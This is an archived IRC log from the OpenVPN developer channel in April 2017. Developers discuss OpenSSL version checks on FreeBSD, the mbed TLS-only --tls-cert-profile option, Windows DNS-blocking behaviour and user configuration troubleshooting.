<@ecrist> so, I've never written any C or C++ 10:55 <@ecrist> I think I'm going to try and learn some this weekend by writing a small application that simply verifies a signature with a static public key 10:55 <@ecrist> Am I getting in over my head? :) 12:20 <@dazo> ecrist: nah, I don't think so ... you've done perl .... you'll survive ;-) 12:20 * dazo gotta run to catch train home 12:30 <@ecrist> maybe what's worse, I *like* perl. :P 12:48 * cron2_ is with ecrist there :) 12:48 <@cron2_> perl ftw! 12:48 <@cron2_> (though I fully agree with everyone who claims that you can write totally unreable code in perl, and it might be easier than in python... :) ) 12:53 <@ecrist> that's the beauty of perl, obfuscation is built in! 15:34 <@vpnHelper> RSS Update - tickets: #871: DHCP gateway stripping does not remove DHCP option 121 0.0.0.0 routes <https://community.openvpn.net/openvpn/ticket/871> --- Day changed Sat Apr 08 2017 08:06 <@vpnHelper> RSS Update - tickets: #872: openvpn help me I do not want to connect. Her record the message "ERROR: --dev tun also requires --ifconfig" in Windows 10 <https://community.openvpn.net/openvpn/ticket/872> 13:17 <@vpnHelper> RSS Update - tickets: #873: Increase maximum numbers of servers allowed in config file <https://community.openvpn.net/openvpn/ticket/873> --- Day changed Sun Apr 09 2017 07:17 <@cron2_> syzzer: feeling very dutch today? :-) 07:44 <+krzee> is that how you ask if hes riding his bike? 07:45 <+krzee> :D 12:13 <@cron2_> krzee: no, it's the dutch way of being very very direct, to the point that many non-dutch folks consider this impolite 12:13 * cron2_ finds it refreshing :) (but I know many dutch folks, and it takes some getting used to) 15:36 <@syzzer> yeah, that. I usually add the politeness-sauce for non-dutchies, but since that was misinterpreted I decided to drop the politeness today :-) Let's see if this works. --- Day changed Mon Apr 10 2017 07:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 07:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:57 <@dazo> syzzer++ for the "drop politeness" move :) 19:41 <@ordex> morning ! --- Day changed Tue Apr 11 2017 08:30 < mator> reading config files (including tls-auth ta.key) done before dropping priveleges or after ? 08:31 < mator> since only root can read ta.key 08:31 <@dazo> mator: before 08:32 <@dazo> but you might need --persist-key though, to avoid some issues on restarts 08:42 < mator> dazo, thanks 08:46 < mator> well, i have on a single server, 2 instances of openvpn running , one on udp port and another one on tcp 08:49 < mator> it's same udp/tcp config actually, except for changes for proto tcp-server and ipv4/ipv6 networks 08:49 < mator> tcp client connects successfully, while udp client reports "TLS Error: TLS handshake failed" 08:49 < mator> i have 2 connection profiles in openvpn client.conf 08:49 < mator> how come , i just don't understand 09:15 < sagatak> mator: pastebin the two client configs please 09:16 < mator> sagatak, is diff (plain text) would be enough ? 09:17 < sagatak> mator: not sure, worth a try 09:17 < mator> http://paste.debian.net/plain/927040 09:18 < sagatak> mator: you seem to be missing "proto" in the udp one 09:18 < sagatak> hmm, iirc udp should be default 09:19 < sagatak> ah, wait, this is the servr side config. so try to add proto udp just to be tidy, and also show me diff of the client configs (udp vs tcp) 09:20 < sagatak> mator: btw, this is probably worth discussing in #openvpn channel instead 09:20 < mator> ahh 09:21 < mator> it's office network doing some nasty things, just checked from other location, my openvpn client config file works (udp connection profile) 09:24 < mator> how can they intercept udp connections? probably that's why i get "TLS key negotiation failed to occur within 60 seconds" since they don't know/have my tls key.... :-/ 09:24 < sagatak> mator: that's possible, it might not let you out on an "unknown udp port" (tcp 443 is https, so it almost always is allowed) 09:24 < sagatak> mator: let's move this to the #openvpn channel please 09:24 < mator> sagatak, our IT doing mitm (self signed cert) on all https connections 09:25 < sagatak> other people there might find it useful/be able to help (while people here won't ;) ) 09:25 < sagatak> mator: nope. it's just firewall, most likely 09:25 < mator> sagatak, i tried with #openvpn, no one responded, should be i'm asking not trivial questions :) 09:26 < mator> but thanks anyway 09:27 < mator> i still need to debug client connect script (it's not being executed on client connection with openvpn installed from opensuse zypper repo) 09:29 < sagatak> mator: it's timing not the question. i am on both channels, but i just joined, so didn't see your question there 09:31 < sagatak> is there any plan (or ongoing work) to move the pam plugin to the deferred method? i am very interested, and i'd be happy to try and help out and test if somebody is already on it 10:04 <@vpnHelper> RSS Update - gitrepo: Make --cipher/--auth none more explicit on the risks <https://github.com/OpenVPN/openvpn/commit/7a1b6a0dd706a81897457b0456a951c0b30bbcfb> 12:16 <@dazo> sagatak: no ... proto is not missing in the UDP config .... --proto udp is the default if not provided 12:18 < sagatak> dazo: thanks, that's what i recalled. the user also confirmed, it is in fact working, it was just outbound firewall probably 12:19 <@dazo> yeah 14:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 14:38 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:38 -!- mode/#openvpn-devel [+o plai] by ChanServ 16:58 <@vpnHelper> RSS Update - gitrepo: Require minimum OpenSSL 1.0.1 <https://github.com/OpenVPN/openvpn/commit/039a89c331e9b7998d8047ec72144097f7c5826a> 18:14 < slypknot> buildbot gone bye bye --- Day changed Wed Apr 12 2017 00:38 <@ordex> aloha 00:56 <+krzee> buenas noches 01:14 <@ordex> perspectives ;) 01:22 <@cron2_> now that is interesting... the change to 1.0.1 broke ubuntu 16.04 - that *should* have had a current version... 01:40 <@ordex> hm interesting 02:47 <@vpnHelper> RSS Update - tickets: #874: Can't establish vpn connection with multihome option in some case. <https://community.openvpn.net/openvpn/ticket/874> 04:11 <@dazo> it might be the ubuntu install is lacking the pkg-config package :/ 04:11 <@dazo> cron2_: I now understand the comment which I killed in configure.ac ... 04:12 <@dazo> is pkg-config available at all on *BSD? 04:12 <@dazo> I do find it bad that we would just allow ./configure to go on if we can't find the proper openssl version ... then the whole check for openssl version is moot 04:19 < sagatak> dazo: "the check keeps us informed" ? :P 04:19 < sagatak> morning 04:20 < sagatak> is there any news or plan or dream (apart from mine) of converting the pam plugin to the deferred model? i am very interested to test or participate in any other meaningful way 04:36 <@dazo> sagatak: no concrete plans ... but if you want to give it a stab, I can surely review that 04:37 < sagatak> dazo: okay. i am no coder i'm afraid, but perhaps i can try, with a lil help from my friends (if i remember correctly, both the deffer and pam plugin are rather nice and clean, not "too complicated") 04:37 <@dazo> sagatak: I am going in the near time to send a patch which is basically a complete rewrite of sample/sample-plugins/defer/simple.c ... which hopefully will be a good reference point for plug-in development 04:38 < sagatak> dazo: sounds cool, that should help. by near time you mean (how far is near? :) ) 04:38 <@dazo> the defer/simple.c is currently not a really nice starting point .... it works somewhat, but it uses techniques and system/libc calls which really should be avoided 04:38 <@dazo> sagatak: hopefully a week if not before ... but it's Easter time now ... so it depends 04:38 < sagatak> dazo: mhh, so better to wait for you to finish then 04:39 < sagatak> dazo: thank you very much! 04:39 < sagatak> dazo: let's keep in touch 04:41 <@dazo> sagatak: see PM 04:52 <@dazo> syzzer: as an ex-Red Hatter .... I say f*** SLES! :-P 04:52 <@dazo> no, but really ... I have no issues keeping SLES 11 in the warmth 05:21 < sagatak> dazo++ 05:21 < sagatak> dazo: thank you! 06:37 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 260 seconds] 06:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:47 <@syzzer> dazo: re openssl 1.0.1 - I also dislike our current pkg-config / autoconf approach, but at least for now I think we need to revert the error message bit. Will you send a patch? 06:49 <@syzzer> dazo: re SLES - hehe, well, as a maintainer I would be happy to drop support for old cruft. You decide :) 07:07 <@dazo> syzzer: I'm pondering on a patch skipping pk-config when run on *bsd 07:08 <@syzzer> dazo: wouldn't that be a bit fragile? 07:08 <@syzzer> configure should work without pkg-config on other OS'es too 07:09 <@dazo> syzzer: well, I first need to understand if pkg-config itself _exists_ on *bsd, and if it is, if it is just the openssl.pc file not being installed or being unavailable for pkgconfig 07:10 <@dazo> if it is the *bsd openssl packaging not providing openssl.pc ... then that should be fairly safe 07:12 <@syzzer> hm, but we already do have mechanisms in place to check if we have a proper openssl available 07:12 <@ecrist> ecrist@terrance:~-> pkg-config --version; uname -a 07:12 <@ecrist> 0.28 07:12 <@ecrist> FreeBSD terrance.secure-computing.net 10.2-RELEASE FreeBSD 10.2-RELEASE #0 r286666: Wed Aug 12 15:26:37 UTC 2015 root@releng1.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 07:12 <@syzzer> like the checks for SSL_CTX_new() 07:13 <@syzzer> so we do fail if we couldn't find a proper openssl, just a little while after the pkg-config check 07:14 <@dazo> syzzer: but that is also present on older openssl libraries as well :/ 07:15 <@dazo> ecrist: so is openssl.pc just not available? 07:15 <@dazo> $ pkg-config --modversion openssl 07:15 <@dazo> 1.0.1e 07:15 <@ecrist> what is openssl.pc? a lib or? 07:15 <@ecrist> ecrist@terrance:~-> openssl version 07:15 <@ecrist> OpenSSL 1.0.1s-freebsd 1 Mar 2016 07:15 <@dazo> openssl.pc is the package information pkg-config uses 07:16 <@ecrist> it seems pkg-config can't find openssl 07:16 <@dazo> (it's actually just a text file) 07:16 <@dazo> okay ... then I know what to do 07:17 <@ecrist> dazo: the openssl version shippped in base freebsd doesn't provide openssl.pc, and pkg-config isn't aware of it 07:17 <@dazo> yupp 07:17 <@ecrist> if openssl gets installed from ports, it apparently becomes available 07:17 <@syzzer> dazo: then maybe check for a function that is new in 1.0.1 ? 07:18 <@syzzer> sounds easier and more generic to me 07:18 <@ecrist> https://lists.freebsd.org/pipermail/freebsd-ports/2016-July/103816.html 07:18 <@vpnHelper> Title: what to do when base openssl isn't suitable (at lists.freebsd.org) 07:19 <@ecrist> disclaimer: that guy is building from the ports tree, so there's all sorts of environment goo being manipulated. 07:23 <@dazo> ecrist: just checked the openssl-1.0.2k tar ball ... there's a 'make openssl.pc' target, which generates that file ... so I presume that just isn't done in the BSD ports tree 07:23 <@ecrist> dazo: there's two openssl installs on freebsd 07:24 <@ecrist> one in the base system (the one missing openssl.pc), the second that can be installed from ports (this includes the openssl.pc) 07:25 <@dazo> ahh! 07:25 <@ecrist> FreeBSD isn't perfect, but at least it's better than Linux. :P 07:26 <@dazo> hahaha 07:26 <@dazo> I'd just flip FreeBSD and Linux in that sentence, and I'd agree ;-) 07:29 <@dazo> syzzer: I think I'll do some tricks with SHLIB_VERSION_NUMBER (defined in opensslv.h) instead ... and kick out pkg-config completely for openssl 07:30 <@dazo> ecrist: can you locate opensslv.h and grep SHLIB_VERSION_NUMBER ? 07:31 <@dazo> and also grep for OPENSSL_VERSION_NUMBER 07:32 <@syzzer> dazo: oh boy, I wonder how much that will break :p 07:33 <@syzzer> there's people who seem to rely on pkg-config, like the guy from this ticket: http://community.openvpn.net/openvpn/ticket/863 07:33 <@vpnHelper> Title: #863 (cannot link against static openssl library) – OpenVPN Community (at community.openvpn.net) 07:33 <@dazo> syzzer: not calling PKG_CHECK_MODULES() and doing a AC_COMPILE_IFELSE() which you already do on mbedtls ... can't break that badly ;-) 07:34 <@syzzer> could still be the right decision though, just pointing out what could go wrong 07:34 <@dazo> meh ... static linking :/ 07:36 <@syzzer> yeah, but I was more talking about that people apparently do stuff like export PKG_CONFIG_PATH=/usr/local/ssl/lib/pkgconfig/ 07:38 <@dazo> yeah, then it will pick the wrong {C,LD}FLAGS too 07:45 <@dazo> syzzer: doing that PKG_CONFIG_PATH hack ... will also fail to detect pkcs11-helper, p11-kit and systemd *unless* their .pc files have been added 07:47 <@syzzer> dazo: hm, indeed 07:47 <@syzzer> looks like we should just discourage that 07:47 <@ecrist> dazo: sure 07:48 <@ecrist> FYI, there is a FreeBSD VM at our disposal that cron02 uses you could have access to 07:49 <@syzzer> mattock: could you maybe add git tags to tap-windows6? That would make it a lot easier for me to build-and-sign them for me. 07:50 <@ecrist> I'm not finding a copy of openssl.h in the freebsd base system 07:53 <@syzzer> ecrist: I think you mean opensslv.h 07:55 <@dazo> yeah, I meant opensslv.h 07:57 <@dazo> ecrist: yeah, I think access to a fbsd box would be good to verify a few things 07:57 <@ecrist> oops 07:58 <@ecrist> ecrist@terrance:~-> grep SHLIB_VER /usr/include/openssl/opensslv.h * The current library version is stored in the macro SHLIB_VERSION_NUMBER, * macro SHLIB_VERSION_HISTORY. The numbers are separated by colons and 07:58 <@ecrist> # define SHLIB_VERSION_HISTORY "" 07:58 <@ecrist> # define SHLIB_VERSION_NUMBER "7" 07:58 <@dazo> okay ... that's not a good one to match against :) 07:59 <@ecrist> define OPENSSL_VERSION_TEXT "OpenSSL 1.0.1s-freebsd 1 Mar 2016" 07:59 <@ecrist> is that what you're looking for? 08:08 <@cron2_> dazo: pkg-config is not available for stuff that is part of the "base" operating system, which openssl is considered to be 08:09 <@cron2_> ecrist: pkg-config is there *if* you install it from ports/pkg (and some packages require it) 08:11 <@cron2_> dazo: wrt to freebsd access - I'm waiting for your pubkey, the offer stands since a few months if I remember right :-) 08:13 <@cron2_> and for "what openssl version is there" - just include openssl.v and look at OPENSSL_VERSION_NUMBER 08:13 <@cron2_> this is a nice hex number that you can fail in a conftest.c just fine 08:14 <@ecrist> cron2_: he sent it to me, I thought it was a new PGP key 08:14 <@ecrist> I'll add him to phillip 08:15 <@cron2_> "works for me" :) 08:15 <@cron2_> ecrist: remember to give him "bash" as login shell, otherwise he'll despair 08:17 <@ecrist> heh, I did him that favor. ;) 08:18 <@ecrist> dazo - give it a go, port 774 phillip.secure-computing.net 10:33 <@dazo> ecrist: no success :/ ... is EC pub keys supported? 10:34 <@dazo> cron2_: ahh, totally forgot your fbsd offer ... but when thinking of it now, I thought I had sent you something ... but probably just my corrupted memory 10:46 <@ecrist> dazo: I'm not sure, I've never tried one before. 10:46 <@ecrist> let me check system logs 10:47 <@ecrist> ah 10:47 <@ecrist> your username is dazo 10:47 <@ecrist> I can change it if you like 10:47 <@dazo> I tried that too ... but let me re-test 10:48 <@dazo> ecrist: it hits straight to password auth 10:48 * dazo generates a different key 10:49 <@ecrist> no, your key is fine 10:49 <@ecrist> I have permissions set wrong on your key 10:49 <@dazo> ahh 10:49 <@ecrist> try again, please 10:49 <@dazo> yupp! that worked! 10:49 <@dazo> thx! 10:49 <@ecrist> I always forget to chmod g-w ~user 10:49 <@dazo> now it the time to get afraid .... dazo is loose on a fbsd box .... 10:50 <@ecrist> you have sudo on the box, as well 10:50 <@ecrist> your temp password is in your home dir 10:50 <@ecrist> please eat file after reading 10:55 <@dazo> thx! all set up ... looking good 11:07 <@ecrist> np 11:36 <+krzee> ecrist: he's welcome on xxx as well 11:36 <@cron2_> ecrist: ugh. 11:36 <@cron2_> dazo: don't wreck that box, it's the t_client reference server 11:37 <@ecrist> it is indeed 11:39 <@ecrist> if dazo doesn't need root, I can take that away 11:40 <+krzee> or you can root him on xxx 11:43 <@dazo> heh 11:43 <@dazo> This one is quite epic .... https://twitter.com/kennwhite/status/852192882647805954 11:43 <@dazo> syzzer: ^^^ 11:46 <+krzee> lol 14:10 <@dazo> cron2_: I'm already digging into the conftest.c stuff you mention on the ML ... just been interrupted a lot today ... will dig into it a bit later 14:10 <@dazo> love the LibreSSL comment though ... completely agree 14:52 <@plai> :) 14:52 <@plai> http://freenode.net/news/pia-fn 14:52 <@vpnHelper> Title: PIA and freenode joining forces - freenode (at freenode.net) 14:52 <@plai> freenode is now PIA 15:13 <@syzzer> dazo: funny indeed :') 20:16 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 256 seconds] 20:17 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 20:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Thu Apr 13 2017 05:20 <@cron2_> syzzer: thanks for the reminder. Not promising anything ("the kids have vacation") but "memory has been refreshed" 05:22 <@cron2_> syzzer: ... and as a side note: feel free to do a "git grep countof" in our tree :-) - so that works with mingw just fine 05:42 <@ordex> "Needless waste of human lifetime, but solvable." lol 05:42 <@ordex> :) 05:46 <@syzzer> cron2_: re _countof - oh, interesting. So for windows-only code that should be fine. 05:46 <@syzzer> probably just a macro for sizeof(a)/sizeof(*a) then 06:25 <@dazo> syzzer: https://msdn.microsoft.com/en-us/library/ms175773.aspx 06:25 <@vpnHelper> Title: _countof Macro (at msdn.microsoft.com) 06:31 <@syzzer> dazo: yeah, I saw that 06:32 <@syzzer> but it's MS-specific, normal GCC does not have it 06:32 <@syzzer> so I just assumed mingw wouldn't either (assumption is .. etc) 06:50 <@cron2_> yeah :-) - but I remembered having reviewed a few patches where Selva used it, so went looking - and since we use it throughout our windows code, we should do so in this place as well 06:51 <@cron2_> (and an interesting find, so the review was really thorough) 07:35 <@syzzer> indeed, I quite like the quality of this review 08:45 <@vpnHelper> RSS Update - tickets: #875: ERROR: netsh command failed: returned error code 1 <https://community.openvpn.net/openvpn/ticket/875> --- Log closed Thu Apr 13 10:06:44 2017 --- Log opened Thu Apr 13 10:06:52 2017 10:06 -!- Irssi: #openvpn-devel: Total of 33 nicks [9 ops, 0 halfops, 2 voices, 22 normal] 10:06 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 10:07 -!- Irssi: Join to #openvpn-devel was synced in 41 secs 10:15 -!- Netsplit *.net <-> *.split quits: +krzee 10:16 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:17 -!- dan-- is now known as dan- 10:20 -!- You're now known as ecrist 11:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:36 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 16:22 <@dazo> syzzer: I think you have an error in your --tls-cert-profile patch in the man page .... 16:22 <@dazo> .B legacy 16:22 <@dazo> : SHA1 and newer, RSA 2048-bit+, any elliptic curve. 16:22 <@dazo> Shouldn't that be RSA 1024? 16:26 <@dazo> (at least that's what the profile says in ssl_mbedtls.c) 16:28 <@dazo> syzzer: I have the patch changes for both Changes.rst and openvpn.8 ready in my tree ... so if you just can confirm it here, I'll be ready to move on --- Day changed Fri Apr 14 2017 02:53 <@syzzer> dazo: yes, that should be 1024+ 06:40 <@syzzer> cron2_: I think I know why the 'clean up packet id' patch is not yet applied; it depends on my "reformatting: fix style in crypto*.{c, h}" patch... 06:54 <@cron2_> syzzer: more like "lazyness and too much work to even look" on my side, apologies 06:55 <@cron2_> (and then, the openssl 1.1 heap interfered) 08:01 <@dazo> syzzer: okay ... let's do a v3 patch fixing those issues in Changes.rst + man page. But we should have a separate v2.4 patch, where the man page also states that --tls-cert-profile will be moved to 'preferred' as default in v2.5 08:02 <@syzzer> dazo: ok, will do 08:02 <@dazo> the v2.5 man page should probably also mention something similar, making it clear it have been changed and that 'legacy' was the default in v2.4 08:03 <@dazo> plus the mentioning of --tls-cert-profile being a noop on openssl builds 08:03 <@dazo> otherwise, the testing seems fine from my side ... even though it have been fairly lightweight and not trying to do anything too tricky 08:03 <@dazo> but both server and client side have been tested 08:46 <@syzzer> dazo: the man page already states "This option is only supported for mbed TLS builds. OpenSSL builds accept any 08:46 <@syzzer> certificate that OpenSSL accepts." 08:46 <@syzzer> I think that suffices? 09:03 <@dazo> syzzer: Hmm ... well, perhaps something more explicit to --tls-cert-profile .... "OpenSSL builds does currently not consider the --tls-cert-profile at all and accepts all certificates" 09:05 <@syzzer> dazo: that would be not true - the option is simply not available. 09:05 <@syzzer> (it's inside #ifdef ENABLE_CRYPTO_MBEDTLS) 09:06 <@syzzer> (and if you view the manpage the text is right in the --tls-cert-profile section) 09:39 <@dazo> ouch ... missed that .... I think we need this available on all builds, otherwise configs are SSL lib dependant 09:39 <@syzzer> that's what 09:40 <@syzzer> we have "setenv opt" and --ignore-unkown-options for, right? 09:40 <@syzzer> older version will barf anyway 09:43 <@dazo> I see I'm not completely up-to-date on the opt parser :) 10:59 <@syzzer> so I assumed this meant "ok then, that sounds reasonable", and sent the updates patches :p 10:59 <@syzzer> now off to friday afternoon drinks 14:30 <@dazo> yeah! brain power too low this evening, but will give it a final review tomorrow ... spotted one detail though, the usage() stuff have no #ifdef while the option parser does ... but that can be fixed during commit time 16:32 < valdikss> Seems like latest Windows 10 update broke block-outside-dns. 17:18 < slypknot> valdikss: ? 17:21 < valdikss> slypknot: with Windows 10 Anniversary Update --block-outside-dns blocks DNS resolves completely. Will investigate. 17:34 < slypknot> valdikss: it block DNS outside of the tunnel 17:35 < Thermi> slypknot: He knows that. I think he contributed the code that does that. :D 17:38 < slypknot> I ahave 10.0.14393 17:38 < valdikss> slypknot: yes, it does on all Windows OS. Except on latest Windows 10 Anniversary Update, where it blocks every DNS (even inside the tunnel). 17:39 < valdikss> slypknot: maybe not on all installations or all circumstances, but there's definitely something wrong. 17:39 < slypknot> ok --- Day changed Sat Apr 15 2017 04:21 < valdikss> So it seems Windows Anniversary Update now resolves DNS in a round-robin way, not via all interfaces in parllel as it was. 07:31 < slypknot> mattock: can you write a power-shell to save current DNS, delete it on connect and restore it on disconnect ? 07:52 <@mattock> slypknot: probably 07:53 <+krzie> mattock: can you rub your belly and pat your head, at the same time? 07:53 <@mattock> occasionally seemingly simple things in Powershell are actually quite difficult to do, so I have to do some research first 07:53 <@mattock> krzie: that might be challenging, but I can try 07:53 <+krzie> :D 07:53 <@mattock> krzie: how about you? 07:53 <@mattock> :P 07:53 <+krzie> lets see 07:53 <+krzie> yes 07:53 -!- krzie is now known as krzee 07:53 <@mattock> can you pad and rub asynchronously? 07:54 <@mattock> not in the same rhythm that is 07:54 <@mattock> that is harder 07:54 <+krzee> yes, i can speed up the patting independantly 07:57 <+krzee> select '"lulz_in_SWIFT"' from pool_of_morons; 08:11 < slypknot> mattock: I was just curious .. I was looking at netsh but M$ really want to migrate it to powershell (hence: in future versions of windows, Microsoft might remove the netsh fucntionality for tcpip etc) 08:17 <@mattock> krzee: you're a natural padder and scratcher then :P 08:19 <+krzee> must be! 08:19 <+krzee> step 2: ??? 08:19 <+krzee> step 3: profit! 08:57 < valdikss> so guys, mattock, krzee, slypknot, there's a registry switch which fixes the issue and is compatible with older Windows versions, but latest Windows 10 would still try to use IPv6 DNS if the ISP pushed one but VPN didn't. 08:58 < valdikss> What should I/we do? I can add a hacky option to OpenVPN to temporary override IPv6 DNS on all other interfaces. Is it acceptable? 09:22 <@mattock> slypknot: this command can be used to get current DNS servers per interface: https://blogs.technet.microsoft.com/heyscriptingguy/2014/04/11/powertip-use-powershell-to-get-dns-settings/ 09:22 <@vpnHelper> Title: PowerTip: Use PowerShell to Get DNS Settings Hey, Scripting Guy! Blog (at blogs.technet.microsoft.com) 09:24 <@mattock> likewise, SetDNSClientServerAddress can be used to set it per-interface 09:29 <@mattock> valdikss: that's probably a question for the mailing list 09:30 <@mattock> if the idea is to direct all DNS traffic through the tunnel then something like that has to be done 09:30 < valdikss> mattock: already. 09:30 <@mattock> ah 09:30 < valdikss> The problem is that changing DNS on other interfaces is invasive. I mean, what if OpenVPN changed DNS and there's a power outage. 09:31 < valdikss> It won't be reverted on boot. Well, it would still work as it's just IPv6 DNS, but still. 09:32 <@mattock> if the DNS settings are static then changing them is probably not a good idea 09:34 < valdikss> Yes, they are static. 09:34 <@mattock> unless windows differentiates between runtime DNS and on-disk settings 09:34 < valdikss> No it doesn't. 09:34 <@mattock> ok 09:35 <@mattock> then we'd need to cache the settings ourselves and restore them when VPN goes down - and even then we'd be left with the "power got cut off" problem 09:39 < valdikss> > 550 Blacklisted file extension detected 09:39 < valdikss> pff 09:46 < valdikss> https://sourceforge.net/p/openvpn/mailman/message/35789733/ 09:46 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 12:47 < slypknot> mattock: powershell still returns the VPN assigned DNS after disconnecting ! 12:48 < slypknot> even in a new pshell 13:54 <@mattock> slypknot: creating a new Powershell console should not affect the results 13:56 <@mattock> I believe most of the time powershell commands (a.k.a. "cmdlets") just query WMI objects for their data 13:56 < slypknot> windows saves the DNS server in the registry .. so i guess it just reads it 13:57 < slypknot> or WMI as you say 13:57 <@mattock> yeah, not sure of the technical details, but if it's in the registry, then powershell might get it directly, or via a WMI object 13:58 <@mattock> for example, you can get the process listing via Get-WMIObject CmdLet 16:10 < slypknot> are mailing list working ? 16:11 < slypknot> https://sourceforge.net/p/openvpn/mailman/message/35789993/ 16:11 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 16:36 < valdikss> slypknot: you didn't get it again? 16:36 < valdikss> I remailed it 2 times. Once with .zip and another one with inline copy-paste. 16:36 < valdikss> Could it be that mail server don't like reg file header? 16:41 < slypknot> nothing so far 17:21 < valdikss> slypknot: and now? 17:26 < slypknot> valdikss: othing yet 17:50 < valdikss> slypknot: finally 17:52 < slypknot> Yep :) --- Day changed Sun Apr 16 2017 04:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 04:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 258 seconds] 05:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:56 <@ordex> aloha 09:34 <+krzee> buenos 09:59 <+krzee> exactly 300 people in #openvpn 10:00 <+krzee> \o/ 10:52 <@ordex> cool hehe --- Day changed Mon Apr 17 2017 02:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 02:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:26 <@dazo> syzzer: you around? 04:26 <@syzzer> dazo: yes :) 04:27 <@dazo> syzzer: I'm back looking at your tls-cert-profile stuff 04:27 <@syzzer> ah, great 04:28 <@dazo> syzzer: there is one detail which annoys me ... in add_option() you wrao --tls-cert-profile in an #ifdef ENABLE_CRYPTO_MBEDTLS ... that itself is reasonable. But that's not done in usage_message/usage() ... and the man page leads users to believe this option is always available. (cont'd) 04:29 <@dazo> Fixing usage_message/usage() is far from trivial ... and will look ugly with more #ifdef 04:29 <@syzzer> ah, an extra #ifdef in usage makes sense 04:29 <@dazo> so I rather propose removing the #ifdef in add_option() 04:30 <@syzzer> but then do what? 04:30 <@syzzer> if the option is used but not supported I mean 04:30 <@dazo> because ... we are planning to introduce that for OpenSSL at some point ... 04:31 <@dazo> rather have document in man page it currently is a NOOP on OpenSSL but will be fixed later on 04:31 <@syzzer> I think the current situation is better then no-op 04:31 <@syzzer> because users will be automatically notified that their statement has no effect 04:31 <@dazo> have a look at what's needed to fix usage_message and usage() ;-) 04:32 <@dazo> I'm skimming through the openvpn3 code now, to see if James have done the --tls-cert-profile for openssl 04:32 <@syzzer> 2 #ifdef's, right? 04:32 <@dazo> yeah ... and reordering usage() a bit 04:32 <@syzzer> huh? why reordering? 04:33 <@dazo> refactoring .... " o.tls_cert_profile, o.tls_timeout, o.renegotiate_seconds, " 04:33 <@syzzer> ah, newlines 04:33 <@dazo> I'm really not too happy about all those #ifdefs 04:34 <@syzzer> yeah, well, me neither, but I dislike the no-op approach more :p 04:34 <@dazo> what's the timeline for getting the openssl support in? 04:35 <@syzzer> no clue - haven't looked at how much work it is 04:35 <@syzzer> but I'll focus on the audits and openssl 1.1 support first 04:35 <@dazo> that's fair enough 04:36 <@syzzer> I needed the mbed TLS part for OpenVPN-NL, so decided to implement it right away 04:37 <@dazo> The head-ache is that we need --tls-cert-profile with legacy as default in 2.4 soonish ... and this feature is really valuable ... but I am really concerned about mbed TLS/openssl builds drifting apart too on the feature side too 04:40 <@syzzer> sure, we all agree that openssl should get it too 04:41 <@syzzer> (as a hardening feature, rather than as a usability feature, but still) 04:41 <@dazo> agreed 04:42 <@dazo> how often is init_ssl() called? 04:43 <@dazo> during a session, that is ... once? or on each reneg? 04:45 <@syzzer> Once 04:45 <@dazo> good 04:48 <@dazo> your v1 patch did not have the #ifdef in add_option() ... but it had the M_WARN in ssl_openssl.c for tls_ctx_set_cert_profile() ... In my first review, I did not oppose msg(), but wondered if it really should M_WARN ... rather making it informational than a warning 04:49 <@syzzer> yeah, but then I realized that it would print the warning even if no --tls-cert-profile was set in the config 04:49 <@dazo> ahh! 04:49 <@syzzer> and that we already have a mechanism for dealing with unsupported options 04:49 <@syzzer> so that we should simply use that existing mechanism 04:50 <@syzzer> (instead of trying to implement a variant for this option) 04:50 <@dazo> But I actually think that approach is really better - avoiding printing if --tls-cert-profile have not been used, .... I still think it should not be a warning but informational (as it isn't something users necessarily should fix; they can't in fact) 04:51 <@syzzer> it's an options error - I really think it should behave equal to other option errors 04:52 <@dazo> I am seeing this in context of we want this support in OpenSSL ... and if mbed TLS makes use of this feature but the OpenSSL library can't, a warning that this option doesn't work is making needless noise in the logs .... telling users through an "info" is educational, and doesn't raise any concerns that something must be fixed from their side 04:55 <@dazo> and even worse, if users must implement 'setenv opt' or --ignore-unknown ... From a users perspective, that is truly not much user friendly .... I can accept part of that, as it is a new option. But we MUST be able to handle both mbed TLS and OpenSSL on an equal manner and not add patches which allows them to drift apart 04:55 <@dazo> (as that is the signal we send when requiring 'setenv opt' or --ignore-unknown) 04:57 <@syzzer> excepting the option but not acting on it just sounds like bad behaviour to me... 04:58 <@syzzer> the setenv opt or ignore-unknown option are needed anyway if older versions should be supported 04:58 <@dazo> hence the msg(M_NONFATAL, "This option is currently not supported on OpenSSL") ... plus a similar statement in the man page 04:59 <@syzzer> well, I can change it if you insist, but I don't like the direction of special-casing... 04:59 <@dazo> From my perspective, I think the current approach is "special casing" 05:00 <@syzzer> how is that? it uses _exactly_ the same mechanism as for other unsupported options 05:00 <@dazo> no, --tls-cert-profile in v2.4+ only works if built against mbed TLS ... 